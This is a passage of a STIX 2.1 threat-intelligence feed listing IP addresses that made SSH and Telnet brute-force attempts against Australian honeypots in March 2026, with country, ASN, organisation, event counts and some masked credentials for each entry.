      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T20:15:07.000Z",
      "valid_until": "2026-04-25T20:15:01.000Z"
    },
    {
      "created": "2026-03-24T20:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--bc13c9bd-1c41-4fc1-98fb-6853a9ca390e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.223.147.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T20:15:07.000Z",
      "valid_until": "2026-04-25T20:15:01.000Z"
    },
    {
      "created": "2026-03-24T20:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--17b1284c-f040-4613-afcb-7ab21d9579aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T20:15:07.000Z",
      "valid_until": "2026-04-25T20:15:01.000Z"
    },
    {
      "created": "2026-03-24T20:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 31898. Organisation(s): Oracle Corporation.",
      "id": "indicator--bc10400c-a31a-4ff6-8028-a364651dfb9c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T20:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '84.8.154.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T20:15:07.000Z",
      "valid_until": "2026-04-25T20:15:01.000Z"
    },
    {
      "created": "2026-03-24T21:15:40.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp.",
      "id": "indicator--c093e277-abf4-4d35-aed9-63defcfe6895",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T21:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.177.77.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T21:15:40.000Z",
      "valid_until": "2026-04-25T21:15:01.000Z"
    },
    {
      "created": "2026-03-24T21:15:40.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262617. Organisation(s): UWBR VOX Telecomunicacoes SA.",
      "id": "indicator--b4937de7-9e05-47b5-919c-fef22ea7ea60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T21:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.62.204.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T21:15:40.000Z",
      "valid_until": "2026-04-25T21:15:01.000Z"
    },
    {
      "created": "2026-03-24T21:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--bd9ec3ed-b696-4249-b5fd-e7f4a9034874",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T21:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T21:15:40.000Z",
      "valid_until": "2026-04-25T21:15:01.000Z"
    },
    {
      "created": "2026-03-24T21:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 49453. Organisation(s): Global Layer B.V..",
      "id": "indicator--000c089b-f943-4d68-a9f1-a16a60aab744",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T21:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.152.161.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T21:15:40.000Z",
      "valid_until": "2026-04-25T21:15:01.000Z"
    },
    {
      "created": "2026-03-24T21:15:40.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--cdec788d-e9fb-46cc-8dfc-5961cac49538",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T21:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.98.68.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T21:15:40.000Z",
      "valid_until": "2026-04-25T21:15:01.000Z"
    },
    {
      "created": "2026-03-24T21:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--07a58930-656b-4566-9ff4-59c78178f3ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T21:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.240.236.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T21:15:40.000Z",
      "valid_until": "2026-04-25T21:15:01.000Z"
    },
    {
      "created": "2026-03-24T21:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--76a52399-6e33-4135-a118-cbef787044ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T21:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T21:15:40.000Z",
      "valid_until": "2026-04-25T21:15:01.000Z"
    },
    {
      "created": "2026-03-24T21:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--5d1da02a-3e8c-4818-b69e-2b47e7571c66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T21:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T21:15:40.000Z",
      "valid_until": "2026-04-25T21:15:01.000Z"
    },
    {
      "created": "2026-03-24T21:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--abc8b59b-0eec-4ccf-b636-e91ba591ecb7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T21:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T21:15:40.000Z",
      "valid_until": "2026-04-25T21:15:01.000Z"
    },
    {
      "created": "2026-03-24T21:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--ef1205a5-e774-4c21-a906-aa8ccae9d356",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T21:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T21:15:40.000Z",
      "valid_until": "2026-04-25T21:15:01.000Z"
    },
    {
      "created": "2026-03-24T21:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--2c75e706-fa5f-4001-b1af-856f6417691e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T21:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T21:15:40.000Z",
      "valid_until": "2026-04-25T21:15:01.000Z"
    },
    {
      "created": "2026-03-24T22:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 271673. Organisation(s): ST NET TELECOM.",
      "id": "indicator--ada7bf02-041d-4f43-9561-3b95315f4fa7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '131.255.130.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T22:15:15.000Z",
      "valid_until": "2026-04-25T22:15:12.000Z"
    },
    {
      "created": "2026-03-24T22:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263790. Organisation(s): RED POWER INTERNET SRL.",
      "id": "indicator--84b3faf5-8cc4-4c32-9800-d264ee2f9500",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.121.104.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T22:15:15.000Z",
      "valid_until": "2026-04-25T22:15:12.000Z"
    },
    {
      "created": "2026-03-24T22:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--d2a9b7d8-c22a-42e8-a155-99d0ed9dab29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '141.98.100.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T22:15:15.000Z",
      "valid_until": "2026-04-25T22:15:12.000Z"
    },
    {
      "created": "2026-03-24T22:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--dee9d8ed-8fa2-44c8-9216-e874621ef35c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.89.165.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T22:15:15.000Z",
      "valid_until": "2026-04-25T22:15:12.000Z"
    },
    {
      "created": "2026-03-24T22:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 187. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): 3**********4, h***a, d********r, k**g, m****r. Passwords observed (masked): 3**********4, p******d, 1***5, 1******8, 3***********4.",
      "id": "indicator--700e834a-2c18-4767-8a2b-892373f7f345",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.191.94.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T22:15:15.000Z",
      "valid_until": "2026-04-25T22:15:12.000Z"
    },
    {
      "created": "2026-03-24T22:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--2559463f-38e5-4d7d-9cf0-6b369badafd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.57.121.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T22:15:15.000Z",
      "valid_until": "2026-04-25T22:15:12.000Z"
    },
    {
      "created": "2026-03-24T22:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): ***, 3**********4, a***n, b*****r, e******l. Passwords observed (masked): 1**4, ***, 1******8, 1**4, 3***********4.",
      "id": "indicator--b810dc86-a247-411a-9504-94bc9c293fc4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '217.154.167.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T22:15:15.000Z",
      "valid_until": "2026-04-25T22:15:12.000Z"
    },
    {
      "created": "2026-03-24T22:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--97ca5f47-e55c-43fd-a02f-888d7b64375b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '218.161.40.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T22:15:15.000Z",
      "valid_until": "2026-04-25T22:15:12.000Z"
    },
    {
      "created": "2026-03-24T22:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): s***n, 3**********4, d********r, h***a, h**h. Passwords observed (masked): p******d, 1***5, 1******8, 3***********4, 3**********4.",
      "id": "indicator--b3486e7d-146e-4cef-af8a-3a61e793ed1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.249.246.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T22:15:15.000Z",
      "valid_until": "2026-04-25T22:15:12.000Z"
    },
    {
      "created": "2026-03-24T23:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, 1****6, s**d, s****m. Passwords observed (masked): 1****6, O************Z, n***a, s**d, t**p.",
      "id": "indicator--13a44bb1-381e-450e-b9ae-cf0ccfb2f7fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T23:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.110.22.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T23:15:24.000Z",
      "valid_until": "2026-04-25T23:15:12.000Z"
    },
    {
      "created": "2026-03-24T23:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 645. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, t**t, u**r, ***. Passwords observed (masked): a***n, 1**4, p******d, 1***5, a****3.",
      "id": "indicator--a32af913-65e4-43bc-8d23-2304f0cdec3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T23:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.99.168.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T23:15:24.000Z",
      "valid_until": "2026-04-25T23:15:12.000Z"
    },
    {
      "created": "2026-03-24T23:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--cd800668-0a92-4ea7-9a41-753ed65d0ff9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T23:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.89.94.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T23:15:24.000Z",
      "valid_until": "2026-04-25T23:15:12.000Z"
    },
    {
      "created": "2026-03-24T23:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262689. Organisation(s): UNOUN INTERNET LTDA.",
      "id": "indicator--9ece2903-cffe-4b1d-925c-4d670427c7d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T23:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.87.239.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T23:15:24.000Z",
      "valid_until": "2026-04-25T23:15:12.000Z"
    },
    {
      "created": "2026-03-24T23:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b66f61cf-0654-43c2-b3ad-449f795af908",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T23:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T23:15:24.000Z",
      "valid_until": "2026-04-25T23:15:12.000Z"
    },
    {
      "created": "2026-03-24T23:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--95760228-4341-40e3-be4c-b34aaa4fae3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T23:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.121.234.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T23:15:24.000Z",
      "valid_until": "2026-04-25T23:15:12.000Z"
    },
    {
      "created": "2026-03-24T23:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, u**t. Passwords observed (masked): a***n, u**t.",
      "id": "indicator--33be3f0b-1866-4856-8ca9-1bf6263d0450",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T23:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.4.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T23:15:24.000Z",
      "valid_until": "2026-04-25T23:15:12.000Z"
    },
    {
      "created": "2026-03-24T23:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--fe256105-a8be-4734-ac89-56d29b476494",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-24T23:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '92.101.164.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-24T23:15:24.000Z",
      "valid_until": "2026-04-25T23:15:12.000Z"
    },
    {
      "created": "2026-03-25T00:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: ZA. ASN(s): 328847. Organisation(s): KoTDA.",
      "id": "indicator--b6067c22-cb5a-459c-9ff3-caa0018cadfe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '102.210.149.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T00:15:15.000Z",
      "valid_until": "2026-04-26T00:15:00.000Z"
    },
    {
      "created": "2026-03-25T00:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--3bddacc6-5e6c-4f44-8b3f-9266b798a730",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.96.50.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T00:15:15.000Z",
      "valid_until": "2026-04-26T00:15:00.000Z"
    },
    {
      "created": "2026-03-25T00:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--471af03f-6720-4096-a648-dbb1f4560c12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.97.136.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T00:15:15.000Z",
      "valid_until": "2026-04-26T00:15:00.000Z"
    },
    {
      "created": "2026-03-25T00:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17917. Organisation(s): Quadrant Televentures Limited.",
      "id": "indicator--75f818f0-a5b2-4c16-a1d0-df44fc1509ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.253.121.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T00:15:15.000Z",
      "valid_until": "2026-04-26T00:15:00.000Z"
    },
    {
      "created": "2026-03-25T00:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--5e6595e4-7af2-4c2e-a4c4-d0bf4e60a7c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-25T00:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-25T00:15:15.000Z",
      "valid_until": "2026-04-26T00:15:00.000Z"
    },
